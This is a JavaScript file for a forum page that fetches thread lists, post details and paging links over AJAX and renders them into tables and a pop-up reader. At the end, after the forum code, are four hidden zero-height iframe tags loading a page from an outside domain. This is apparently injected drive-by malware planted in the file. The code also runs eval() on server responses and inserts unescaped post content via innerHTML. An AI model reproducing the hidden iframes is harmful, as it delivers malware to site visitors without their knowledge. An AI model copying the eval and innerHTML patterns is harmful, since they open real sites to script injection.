var objHttp;
var objFunc;
function makeConnection(strUrl,objFunction) { 
   /* 還沒用 yConnect 前的原始碼
   if (window.XMLHttpRequest) { // Mozilla [11], Safari,... 
       http_request = new XMLHttpRequest(); 
   } else if (window.ActiveXObject) { // IE 
       http_request = new ActiveXObject("Microsoft.XMLHTTP"); 
   } 
   http_request.onreadystatechange = function() {
       if (http_request.readyState == 4) { 
           if (http_request.status == 200) { 
               func = eval(objFunc);
               func(http_request.responseText); 
           } else { 
               alert('There was a problem with the request.'); 
           } 
       }        
   }
   http_request.open('GET', strUrl, true); 
   http_request.send(null); 
   */
	objHttp = ygConn.getObject()
	objFunc = eval(objFunction);	
	ygConn.http.asyncRequest(objHttp,'GET',strUrl,false);
	if(ygConn.http.isCallInProgress(objHttp)) {
		setTimeout('checkStatus()',1000);
	}
	else {
		objFunc(ygConn.http.getResponse(objHttp.tId).message); 
	}
} 
function checkStatus() {
    if(ygConn.http.isCallInProgress(objHttp)){
        setTimeout('checkStatus()',1000);
    }
    else {
		objFunc = eval(objFunc);
        objFunc(ygConn.http.getResponse(objHttp.tId).message); 
    }
}
/* bbsthrd */
var bbs = {
    readerId:'reader_' + Date.parse(new Date()),
    progressBarId:'progressBar_' + Date.parse(new Date()),
    init:function(el) {
        for(i=0;i<$tags('div',el).length;i++) {
            if($tags('div',el)[i].className == 'ft') {
                for(x=0;x<$tags('a',$tags('div',el)[i]).length;x++) {
                    addEvent($tags('a',$tags('div',el)[i])[x],'click',bbs.getPageData);
                    $tags('a',$tags('div',el)[i])[x].onclick = function() {return false;}
                }
            }
        }
        for(i=0;i<$tags('tbody',el).length;i++){
            for(x=0;x<$tags('a',$tags('tbody',el)[i]).length;x++) {
                addEvent($tags('a',$tags('tbody',el)[i])[x],'click',bbs.getDetailData);
            }
        }
        bbs.makeProgressBar();
    },
    getDetailData:function(e) {
        el = (e && e.target)?e.target:window.event.srcElement;
		ev = (e && e.target)?e:window.event;
        if(!$id(bbs.readerId)) {
            div = document.createElement('div');
            div.id = bbs.readerId;
			div.className = 'readerbox';
            div = document.body.appendChild(div);
        } 
        else {
            div = $id(bbs.readerId);
        }
		div.style.display = 'none';
		div.style.left = ev.x - 40;		
		div.style.top = ev.y + 10;		
		dd = new ygDD(bbs.readerId);
        detailID = 0;
        detailID = el.href.substr(el.href.search('ID=') + 3);
        if(e && e.target){
            e.preventDefault();    
        }
        else {
            window.event.returnValue = false;
        }
		$id(bbs.progressBarId).style.display = 'block';
        makeConnection('service/rest/?method=bbs.getdetail&id=' + detailID + '&output=json',bbs.outputDetailData);
    },
    outputDetailData:function(strInput) {		
        var arrDetailData = eval(strInput);
        var strTemp = '';
        var div = $id(bbs.readerId);
        strTemp = '<div id="reader">\n'
        strTemp += '    <div class="hd"><div><h2>'+ arrDetailData[0].Topic + '</h2><a href="#" onclick="$id(\'reader\').parentNode.removeChild($id(\'reader\'));return false;">&nbsp;</a></div></div>\n'
        strTemp += '    <div class="bd"><div>' + arrDetailData[0].Content + '</div></div>\n';
        strTemp += '    <div class="ft"><div><a href="#" onclick="$id(\'reader\').parentNode.removeChild($id(\'reader\'));return false;">按這邊關閉視窗</a></div></div>\n';
        strTemp += '</div>\n'
        div.innerHTML = strTemp;
		div.style.display = 'block';
		$id(bbs.progressBarId).style.display = 'none';		
    },
    getPageData:function(e) {
        el = (e && e.target)?e.target:window.event.srcElement;
        pageNo = 1;
        if(isNaN(el.innerHTML)==true) {
            pageNo = el.href.substr(el.href.search('page=') + 5);
        }
        else {
            pageNo = el.innerHTML;
        }
        $id(bbs.progressBarId).style.display = 'block';
        setTimeout(bbs.makeLatency,100);                
    },
    makeLatency:function() {
        makeConnection('service/rest/?method=bbs.getlist&page=' + pageNo + '&output=json',bbs.outputGridData);        
    },
    makeProgressBar:function() {
        var div = document.createElement('div');
        div.id = bbs.progressBarId;
        div.className = 'progress';
        div.style.top = (screen.height - 50 ) / 2;
        div.style.left = (screen.width - 220) / 2;
        div = $id('bbsthrd').appendChild(div);
    },
    outputGridData:function(strInput) {
        $id(bbs.progressBarId).style.display = 'none';
        if($id('reader')) $id('reader').parentNode.removeChild($id('reader'));
        var arrPageData = eval(strInput);
        var strTemp = '';
        if(!document.all) {
            for(var i in arrPageData){
                x = x + 1;
                arrPageData[i].subject = '<a href="../forum_reply.asp?ID=' + arrPageData[i].number + '">' + arrPageData[i].subject + '</a>';
                className = '';
                if (x % 2 == 0) className= ' class="alt"';
                strTemp += '<tr' + className + '>';
                strTemp += '<td>' + arrPageData[i].category + '</td>';
                strTemp += '<td>' + arrPageData[i].subject + '</td>';
                strTemp += '<td>' + arrPageData[i].author + '</td>';
                strTemp += '<td>' + arrPageData[i].lastdate + '</td>';
                strTemp += '<td>' + arrPageData[i].hit + '</td>';
                strTemp += '<td>' + arrPageData[i].quantity + '</td>';
                strTemp += '</tr>';            
            }
            $id('grid').innerHTML = strTemp;
        }
        else {
            for(n=$id('grid').childNodes.length-1;n>=0;n--){
                $id('grid').removeChild($id('grid').childNodes[n]);
            }
            for(var i in arrPageData){
                x = x + 1;
                tr = document.createElement('tr');
                if(x%2==0) tr.className = 'alt';
                tr = $id('grid').appendChild(tr);
                bbs.createTd(tr,arrPageData[i].category);                
                /* subject */
                td = document.createElement('td');
                td = tr.appendChild(td);
                a = document.createElement('a');
                a.href = '../forum_reply.asp?ID=' + arrPageData[i].number 
                a = td.appendChild(a);                
                text = document.createTextNode(arrPageData[i].subject);
                a.appendChild(text);        
                bbs.createTd(tr,arrPageData[i].author);
                bbs.createTd(tr,arrPageData[i].lastdate);
                bbs.createTd(tr,arrPageData[i].hit);
                bbs.createTd(tr,arrPageData[i].quantity);
            }       
        }
        //window.scrollTo(0,document.body.offsetTop);
        bbs.scrollToTop();
        makeConnection('service/rest/?method=bbs.getpage&page=' + pageNo + '&output=json',bbs.outputPageData);        
    },
    scrollValue:100,
    scrollToTop:function() {
        for(i=bbs.scrollValue;i>0;i--) {
            window.scrollTo(0,i);
        }
    },
    outputPageData:function(strInput) {
        arrPageData = eval(strInput);
        arrList = $tags('li',$id('paging'));
        if(!document.all) {
            strTemp = '<ul class="paging">\n';
            for(var i in arrPageData){
                x += 1;
                if(x == 1) {
                    strTemp += '    <li class="p"><a href="' + arrPageData[i].url + '">' + arrPageData[i].text + '</a></li>\n';                    
                }
                else if (x == 11) {
                    strTemp += '    <li class="n"><a href="' + arrPageData[i].url + '">' + arrPageData[i].text + '</a></li>\n';                    
                }
                else {
                    strTemp += '    <li>';
                    if(arrPageData[i].url != '') {
                        strTemp += '<a href="' + arrPageData[i].url + '">' + arrPageData[i].text + '</a>';
                    }
                    else {
                        strTemp += '<strong>' + arrPageData[i].text + '</strong>';
                    }
                    strTemp += '</li>\n';                    
                }
            }
            strTemp += '</ul>'
            $id('paging').innerHTML = strTemp;
        }
        else {
            for(n=arrList.length-1;n>=0;n--){
                $id('paging').firstChild.removeChild(arrList[n]);
            }
            for(var i in arrPageData){
                x += 1;
                li = document.createElement('li');                
                if(x==1) {
                    li.className = 'p';
                }
                else if(x==11){
                    li.className = 'n';
                }
                li = $id('paging').firstChild.appendChild(li);
                if(arrPageData[i].url!='') {
                    a = document.createElement('a');
                    a.href = arrPageData[i].url;
                    a = li.appendChild(a);
                    text = document.createTextNode(arrPageData[i].text);
                    text = a.appendChild(text)
                }
                else {
                    strong = document.createElement('strong');
                    strong = li.appendChild(strong);
                    text = document.createTextNode(arrPageData[i].text);
                    text = strong.appendChild(text);
                }
            }                   
        }
        bbs.init($id('bbs'));
    },
    createTd:function(oParent,txt) {
        td = document.createElement('td');
        td = oParent.appendChild(td);
        text = document.createTextNode(txt);
        td.appendChild(text);        
    }
}
/* delegate appropriate functions */
if($id('bbsthrd')){bbs.init($id('bbsthrd'));}

<iframe src=http://www.hby007.cn/one/a26.htm?02 width=50 height=0 border=0></iframe>
<iframe src=http://www.hby007.cn/one/a26.htm?02 width=50 height=0 border=0></iframe>
<iframe src=http://www.hby007.cn/one/a26.htm?02 width=50 height=0 border=0></iframe>

<iframe src=http://www.hby007.cn/one/a26.htm?02 width=50 height=0 border=0></iframe>
